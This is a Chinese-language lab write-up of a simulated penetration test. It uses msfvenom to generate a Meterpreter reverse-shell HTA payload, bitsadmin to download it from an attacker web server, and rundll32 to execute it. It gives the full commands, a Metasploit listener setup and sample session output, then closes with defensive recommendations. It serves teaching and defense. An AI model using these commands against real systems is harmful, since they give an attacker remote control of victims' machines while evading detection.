基于HTA和BITSAdmin的模拟渗透攻击实验

基于HTA和BITSAdmin的模拟渗透攻击实验

一、 实验概述

本实验旨在模拟一个常见的攻击者（红队）渗透流程。攻击者利用Metasploit框架生成一个恶意的HTA（HTML Application）文件，通过Windows系统自带的BITSAdmin工具将其传输到靶机，并最终通过执行该文件在靶机上获得一个Meterpreter反向Shell会话，从而实现对靶机的远程控制。

实验环境：

• 攻击机 (Attacker)： Kali Linux 2023 (IP: 192.168.1.26)
• 靶机 (Target)： Windows 10/11 (需能访问 http://192.168.1.26)
• 工具： Metasploit Framework, BITSAdmin, PowerShell

实验原理：

1. 载荷生成： 使用msfvenom生成一个包含Meterpreter反向TCP连接的恶意HTA文件。
2. 载荷投递： 利用Windows合法工具BITSAdmin（后台智能传输服务）从攻击机搭建的Web服务器下载恶意文件到靶机，这是一种“Living off the Land”技术，可以规避一些安全软件的检测。
3. 载荷执行： 在靶机上执行HTA文件，HTA文件中的PowerShell脚本会启动，并主动连接到攻击机监听的端口。
4. 会话建立： 攻击机上的Metasploit监听器接收到来自靶机的连接，建立Meterpreter会话，从而获得对靶机的控制权。

二、 实验步骤

步骤 1：生成恶意HTA载荷

在Kali Linux攻击机上打开终端，执行以下命令：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.26 LPORT=7777 -f hta-psh > attack.hta

• 命令解释：
  • -p windows/x64/meterpreter/reverse_tcp: 指定使用的Payload为64位Windows系统的Meterpreter反向TCP连接。
  • LHOST=192.168.1.26: 指定回连的攻击机IP地址。
  • LPORT=7777: 指定回连的攻击机端口。
  • -f hta-psh: 指定输出格式为HTA，其中嵌入PowerShell命令。
  • > attack.hta: 将生成的载荷保存到当前目录下的attack.hta文件中。

步骤 2：启动Web服务

HTA文件需要通过网络被靶机下载。在Kali上，将生成的attack.hta文件放到Web服务器根目录。最简单的方法是使用Python内置的HTTP服务器。将attack.hta文件拷贝到/var/www/html目录下：

在attack.hta文件所在目录下执行：

#systemctl start apache2

此命令会在攻击机的80端口启动一个临时的Web服务器。

在Windows系统的powershell（管理员模式）下，运行如下命令：

bitsadmin /transfer shell http://192.168.1.26/attack.hta c:\windows\temp\attack.hta

步骤 3：配置Metasploit监听器

打开Kali Linux上的新终端，启动Metasploit并设置监听器，等待靶机反弹回来的连接。

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.26
set LPORT 7777
exploit -j

• 命令解释：
  • msfconsole -q: 以安静模式启动MSF控制台（减少启动横幅）。
  • use exploit/multi/handler: 使用通用监听器 exploit模块。
  • set payload windows/x64/meterpreter/reverse_tcp: 设置Payload，必须与生成载荷时使用的Payload一致。
  • set LHOST 和 set LPORT: 设置监听的主机和端口，与生成载荷时的值一致。
  • exploit -j: 作为后台任务（Job）运行监听器，这样即使退出当前模块，监听仍在继续。

步骤 4：投递并执行载荷（在靶机操作）

模拟攻击者通过某种方式（如钓鱼邮件、漏洞利用等）诱使靶机用户执行以下命令。

1. 使用BITSAdmin下载恶意文件：
   在靶机上以管理员身份打开PowerShell或CMD，执行以下命令：

   bitsadmin /transfer shell http://192.168.1.26/attack.hta C:\Windows\Temp\attack.hta
   

   • 命令解释： 使用系统合法工具bitsadmin创建一个名为shell的下载任务，从攻击机的Web服务器下载attack.hta文件，并保存到靶机的C:\Windows\Temp\目录下。

   

2. 执行HTA文件：
   下载完成后，在同一个（管理员）PowerShell窗口中，执行以下命令：

   rundll32.exe url.dll, OpenURL C:\Windows\Temp\attack.hta
   

   • 命令解释： 使用rundll32调用url.dll库中的OpenURL函数来执行位于临时目录的HTA文件。这是一种常见的绕过执行限制的技巧。

步骤 5：获取反弹Shell

当靶机上的attack.hta文件被成功执行后，其内部的PowerShell脚本会启动，并主动向攻击机192.168.1.26:7777发起TCP连接。

此时，在Kali Linux的Metasploit控制台界面，你会看到类似以下的提示：

[*] Started reverse TCP handler on 192.168.1.26:7777
[*] Sending stage (203846 bytes) to 192.168.1.13
[*] Meterpreter session 1 opened (192.168.1.26:7777 -> 192.168.1.13:52775) at 2025-xx-xx xx:xx:xx +0000

这表示一个Meterpreter会话已经成功建立。你可以使用sessions命令查看所有会话，并使用sessions -i 1来交互式地控制这个编号为1的会话。

三、 实验总结与防御建议

实验总结：
本实验成功模拟了从生成恶意载荷、投递到最终获取Shell的完整攻击链。攻击者利用了系统合法工具（BITSAdmin、rundll32）和脚本技术（HTA/PowerShell），有效地绕过了部分安全软件的静态检测，凸显了“无文件攻击”和“Living off the Land”技术的威胁。

防御建议：

1. 用户教育： 不要以管理员身份运行未知脚本或命令。对于来源不明的指令应保持高度警惕。
2. 网络层防护： 部署防火墙，限制不必要的出站连接。在上述实验中，如果靶机无法向外发起对任意IP 7777端口的连接，攻击将失效。
3. 终端防护： 启用并配置高级别的EDR（终端检测与响应）产品或杀毒软件，它们能够基于行为检测此类恶意活动（如PowerShell的异常网络连接）。
4. 应用限制： 通过组策略等方法限制或监控BITSAdmin、PowerShell、rundll32等高风险工具的使用。
5. 最小权限原则： 日常使用计算机时，不要使用管理员账户，使用标准用户账户可以大幅降低此类攻击的成功率。

免责声明：本文仅用于教育目的和安全研究，旨在帮助提升网络安全防御能力。请勿将文中所述技术用于任何非法目的。所有测试应在自己拥有合法授权的设备或实验环境中进行。